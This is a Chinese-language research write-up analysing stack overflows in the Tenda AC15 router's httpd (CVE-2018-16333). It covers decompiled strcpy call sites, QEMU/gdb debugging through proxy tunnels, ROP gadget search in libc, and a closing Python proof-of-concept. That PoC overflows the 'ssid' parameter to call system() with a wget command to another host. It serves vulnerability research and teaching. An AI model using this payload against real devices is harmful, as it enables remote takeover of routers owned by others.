Tenda AC15 CVE-2018-16333漏洞分析
[TOC]
一、固件分析
查看上文中2.3处emba跑出的结果,检索httpd
相关。
危险函数有strcpy
、printf
、strcat
、fprint
、system
等。
二、漏洞分析
使用IDA分析httpd
。
2.1、strcpy
2.1.1、关键词搜索
搜索一下strcpy
,一共184处匹配。
首先还是寻找与goahead
接口相关的函数,只有那些API接口会存在直接可控用户输入从而更有可能引发漏洞。
2.1.2、危险函数筛选
结果如下
formAdvGetLanIp
formGetOnlineList
formGetPPTPServer
formGetParentCtrlList
formGetPortStatus
formGetQosBand
formGetSystemStatus
formSetFirewallCfg
formSetPPTPUserList
formWifiApScan
formWifiBasicSet
form_fast_setting_wifi_set
fromDhcpListClient
fromGetIpMacBind
fromGetSysTime
fromGetWirelessRepeat
fromGetWrlStatus
fromSetIpMacBind
fromSetSysTime
fromSetWirelessRepeat
仅有20个API接口函数与strcpy
有关。
一个个跟进查看。
一些API接口函数(如: formAdvGetLanIp
),其strcpy
函数中不存在可控变量,在第二次筛选中就可以排除了。
最后剩下如下危险接口
form_fast_setting_wifi_set
int __fastcall form_fast_setting_wifi_set(int a1)
{
src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
if ( *src )
{
strcpy(s, src);
strcpy(dest, src);
}
formSetFirewallCfg
int __fastcall formSetFirewallCfg(int a1)
{
src = (char *)sub_2BA8C(a1, "firewallEn", "1111");
v1 = (char *)strlen(src);
if ( (unsigned int)v1 > 3 )
{
strcpy(dest, src);
GetValue("security.ddos.map", s);
}
formWifiBasicSet
int __fastcall formWifiBasicSet(int a1)
{
src = (char *)sub_2BA8C(a1, "security_5g", "none");
strcpy(dest, src);
}
fromDhcpListClient
int __fastcall fromDhcpListClient(int a1)
{
v10 = sub_2BA8C(a1, v5, &unk_EE388);
if ( !v10 || !*(_BYTE *)v10 )
break;
strcpy(dest, (const char *)(v10 + 1));
}
fromSetIpMacBind
int __fastcall fromSetIpMacBind(int a1)
{
v22 = (char *)sub_2BA8C(a1, "list", &unk_EE388);
if ( v1 >= 0 && v19 <= 32 )
{
src = v22;
for ( i = 1; src && i <= v19; ++i )
{
v18 = strchr(src, 10);
if ( v18 )
{
*v18 = 0;
strcpy(dest, src);
}
fromSetSysTime
int __fastcall fromSetSysTime(int a1)
{
src = (char *)sub_2BA8C(a1, "ntpServer", "time.windows.com");
SetValue("sys.timesyn", "1");
SetValue("sys.timemode", "auto");
SetValue("sys.timezone", v23);
SetValue("sys.timenextzone", "0");
SetValue("sys.timefixper", v22);
v1 = SetValue("sys.timentpserver", src);
if ( CommitCfm(v1) )
{
GetValue("sys.timesyn", nptr);
if ( atoi(nptr) == 1 )
{
v16[0] = atoi(nptr);
v16[1] = atoi(v23);
v16[2] = atoi(v22);
strcpy((char *)&v16[3], src);
}
fromSetWirelessRepeat
int __fastcall fromSetWirelessRepeat(int a1)
{
src = (char *)sub_2BA8C(a1, "wpapsk_crypto", "aes");
v41 = (char *)sub_2BA8C(a1, "wpapsk_key", &unk_EFE58);
if ( !*v41 && strlen(v41) <= 7 )
{
v59 = 1;
goto LABEL_121;
}
if ( !strcmp(v43, "wpa") )
{
strcpy(v15, "psk");
}
else if ( !strcmp(v43, "wpa2") )
{
strcpy(v15, "psk2");
}
else
{
strcpy(v15, "psk psk2");
}
if ( !strcmp(src, "tkip&aes") )
strcpy(v14, "tkip+aes");
else
strcpy(v14, src);
}
2.1.3、分析与调试
2.1.3.1、前期准备
由于是对二进制代码进行分析、调试,因此需要系统模式运行qemu
、gdbserver
、ida pro或者gdb-multiarch
使用Tenda AC15 CVE-2020-10987漏洞分析中的方法启动系统模式的qemu。
下载gdbserver。
cd squashfs-root
wget http://10.10.10.2:8000/gdbservrmhf-eabi5-v1-sysv
mv gdbserver-7.7.1-armhf-eabi5-v1-sver gdbserver
chmod 777 gdbserver
a、使用ida pro调试
启动httpd
进入虚拟机检查一下
启动成功。
由于M1芯片的vmware fusion
实在很难用,因此传个代理进虚拟机然后继续用ssh操作。
上传frpc
和frpc.ini
,配置如下
启动frps
和frpc
连接127.0.0.1:20022
查找httpd
进程
使用gdbserver挂载,并修改frpc.ini,将8866端口也映射出来
./gdbserver :8866 --attach 2381
ida远程调试,报错
使用端口映射的方式进行调试,会出现一些问题,因此只映射80
和22
,采用gdb-multiarch
进行调试,仍然报错。
猜测是apple M1芯片的问题,arm架构很有问题,因此使用远端VPS作为模拟qemu系统。
网络架构如图。
在VPS中开启frps
和frpc
。
配置如下:
frps.ini
[common]
bind_port = 7000
frpc.ini
[common]
server_addr = 10.10.10.2
server_port = 7000
[qemu-ssh]
type = tcp
local_ip = 10.10.10.3
local_port = 22
remote_port = 20022
[qemu-web]
type = tcp
local_ip = 10.10.10.3
local_port = 80
remote_port = 20080
[qemu-gdb]
type = tcp
local_ip = 10.10.10.3
local_port = 28866
remote_port = 28866
在本机和VPS中开启TCP通道,并做正向转发。
在mac下的windows虚拟机(因为没有Mac m1版的ida pro)中开启admin端
admin.exe -l 9999
在mac开启agent端
agent -c 10.211.55.3:9999
2022/03/29 20:44:54 Node starting......
将mac本地的127.0.0.1:28866
转发至windows下。
按照Tenda AC15 CVE-2020-10987漏洞分析的方法启动qemu,并开启gdbserver。
调整IDA的GDBServer配置。
连接web
成功进入调试,并成功断点。
但是,该方法需要三层代理,非常不稳定,网络轻微扰动都会导致调试奔溃,因此建议使用X86/X64位架构的机器直接进行调试,或者在虚拟机中使用gdb-multiarch
等gdb调试软件。
b、使用gdb-multiarch
调试
使用gdb-multiarch
挂载进程并设定初始信息。
set architecture arm
set endian little
set solib-search-path lib/
b 断点位置
target remote 10.10.10.3:8866
2.1.3.2、form_fast_setting_wifi_set
以form_fast_setting_wifi_set
为例进行rce漏洞分析。
a、漏洞分析
在第一个strcpy和函数入口下断点。
set architecture arm
set endian little
set solib-search-path lib/
b form_fast_setting_wifi_set
b *0x0006706C
target remote 10.10.10.3:8866
查看前端代码。
//TODO:hack wan connected
//$("#waiting").removeClass("none");
//$("#wifi_setting").addClass("none");
//$("#btn_control").addClass("none");
var dateArry = /([\+\-]\d{2})(\d{2})/.exec((new Date()).toString());
var subObj = {
"ssid": $("#ssid").val(),
"wrlPassword": ($("#hideWrlPwd").prop("checked")) ? "" : wrlPwd,
"power": $("#power").val(),
"timeZone": getTimeZone(),
"loginPwd": ($("#hideLoginPwd").prop("checked")) ? "" : hex_md5(login_pwd)
}
data = objTostring(subObj);
$.getJSON("goform/getWanConnectStatus?" + Math.random(), function (obj) {
G.wanStatus = obj.connectStatus;
$.post("goform/fast_setting_wifi_set", data, handWifi);
})
可见data中传递的是一组由json对象转换而成的字符串变量,主要有如下几个参数"ssid"、"wrlPassword"、"power"、"timeZone"、"loginPwd"。
查看后端处理代码。
src = (char *)sub_2BA8C(a1, "ssid", &unk_E378C);
if ( *src )
{
strcpy(s, src);
strcpy(dest, src);
因此,实际上我们只需要控制"ssid"的值即可,至于sub_2BA8C
void *__fastcall sub_2BA8C(int a1, int a2, int a3)
{
int v6; // [sp+14h] [bp-10h]
v6 = sub_1FBF4(*(_DWORD *)(a1 + 32), a2);
if ( !v6 )
return (void *)a3;
if ( (*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18) )
return (void *)((*(unsigned __int16 *)(v6 + 20) << 16) | *(unsigned __int16 *)(v6 + 18));
return &unk_DC1C4;
}
光读代码还是比较麻烦,可以在调试过程中进行猜测其功能。
下断点,开始调试,停在SIGPIPE
异常,使用handle SIGPIPE nostop print
忽略该问题。
下五个断点,分别在00066EE0
、0x00067078
、 0x0006707C
、0x0006708C
、0x00067090
。
b *0x00066EE0
b *0x00067078
b *0x0006707C
b *0x0006708C
b *0x00067090
发送ssid
断点停在函数开始处。
.text:00066EE0 PUSH {R4,R5,R11,LR}
函数在开始时,将需要的参数及函数的return地址押入栈中。
LR
存放函数的返回地址,为0x171c8
。
继续单步运行,到0x0006707c
处,查看寄存器。
存放输入数据的寄存器r1、r3内存放的是一个指向ssid值的指针,值为0x898ed0
。
查看内存空间。
绿色框为存放src
值的s
分配的内存空间,具体可见代码
char s[64]; // [sp+200h] [bp-7Ch] BYREF
红色框为存放src值的地址。
蓝色框为函数的返回地址,我们需要将该地址覆盖掉。
继续运行至第二个strcpy,也就是0x00067090
处
可以发现第二次strcpy也是从同样的地址取src的值。
查看内存
橘黄色框中为dest的变量空间。
那么这样就会出先一个问题。
如果直接将返回值0x000171c8
覆盖,那么也会同时覆盖掉0x00898ed0
这个值,那么在第二次strcpy的时候,就有可能会因为找不到src的值而报错,
所以需要在覆盖0x00898ed0
时选择一个可以读到的地址覆盖他,这样就不会报错了。
b、构造rop链
首先搜一下system这个函数的用法。
.text:0004F8E4 ADD R3, R4, R3 ; "killall -9 telnetd"
.text:0004F8E8 MOV R0, R3 ; command
.text:0004F8EC BL system
.text:0004F8F0 SUB R3, R11, #-var_12C
如图可见,system这个函数,只需要一个寄存器。
因此,我们去libc.so.0
中找一个system
函数。
system函数使用r3寄存器调用库函数里的system,使用r0寄存器来存放命令参数。
因此,我们需要在libc中搜索一个"pop r3"的出栈操作和一个"mov r0,"的操作。
python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0 --only "pop" | grep r3
发现一个POP {r3,pc}
。
总所周知,SP是存放站顶指针,指向下一个出栈的位置,那么如果能找到一个mov r0,SP,就可以轻松构造如下栈空间。
*(POP {r3,pc}) |
---|
*(ldr r3,system) |
*(mov r0,SP,ldr r3) |
"Command" |
当命令执行到*(mov r0,sp,ldr r3)
处时,sp指向“command”,又将sp赋值给r0,rop链就可以达成了。
因此我们再搜索一个mov r0,sp,blx/bl r3,
python3 ../../../../tools/ROPgadget/ROPgadget.py --binary ./lib/libc.so.0 | grep "mov r0, sp" > 1,txt
查看1,txt
找到了
0x00040cb8 : mov r0, sp ; blx r3
c、poc
#!/usr/bin/python3
import requests
from pwn import *
cmd = b'wget http://10.10.10.2:8899'
libc_base = 0x76d79000
system = libc_base + 0x5A270
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
print(payload)
三、小结
- Tenda AC15的还存在其他RCE漏洞点,接下来的文章会继续分析
- 近期不建议使用Macbook M1进行IoT漏洞的模拟、分析